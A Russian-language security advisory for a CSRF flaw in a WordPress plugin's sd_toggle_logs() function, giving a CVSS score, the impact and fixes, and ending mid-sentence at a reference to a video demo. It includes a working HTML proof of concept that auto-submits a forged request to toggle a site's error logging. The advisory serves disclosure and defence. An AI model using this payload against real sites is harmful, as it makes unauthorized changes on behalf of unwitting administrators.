
CVE-2025-10377
Тип уязвимости: Межсайтовая подделка запросов (CSRF)
Затронутая функция: sd_toggle_logs()
CVSS v3.1: 4.3 (Средний)
Vector: AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
(Примечание: Оценка отражает несанкционированное изменение состояния, требующее жертву-администратора и взаимодействия пользователя.)
Описание уязвимости:
Функция sd_toggle_logs() обрабатывает чувствительные операции, такие как включение/отключение журналов доступа к страницам, журналов ошибок и журналов доставки электронной почты. Однако она полагается исключительно на параметр $_REQUEST['log_type'] и проверку прав (current_user_can( 'manage_options' )) без реализации защиты от CSRF (например, check_admin_referer() или nonce).
В результате злоумышленник может заманить вошедшего в систему администратора на вредоносную страницу, которая незаметно отправляет специально созданный запрос, вызывая непреднамеренные изменения включения/отключения ведения журнала сайта.
Несанкционированные изменения состояния функций ведения журнала сайта (журнал доступа к страницам, журнал ошибок, журнал доставки электронной почты).
Если включено ведение журнала ошибок, сайт может начать запись ошибок приложения в путь к файлу, определенный плагином (увеличивая вероятность раскрытия операционной информации через журналы), но непосредственным воздействием этой проблемы является само переключение состояния.
Когда вошедший в систему пользователь с правами manage_options посещает страницу злоумышленника, соответствующая функция ведения журнала переключается без явного согласия.
<body>
<form action="http://victim.com/wordpress/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="sd_toggle_logs" />
<input type="hidden" name="log_type" value="errors_log" />
<input type="hidden" name="fast_ajax" value="true" />
<input type="hidden" name="load_plugins[]" value="system-dashboard/system-dashboard.php" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Внедрите nonce WordPress (check_admin_referer() или wp_verify_nonce()) для проверки запросов.
Ограничьте чувствительные действия только POST-запросами.
Избегайте полагаться исключительно на проверку прав для защиты от CSRF.
Если вы не можете воспроизвести проблему точно так, как описано в отчете, обратитесь к следующей видео-демонстрации (PoC) для получения четкого сценария воспроизведения: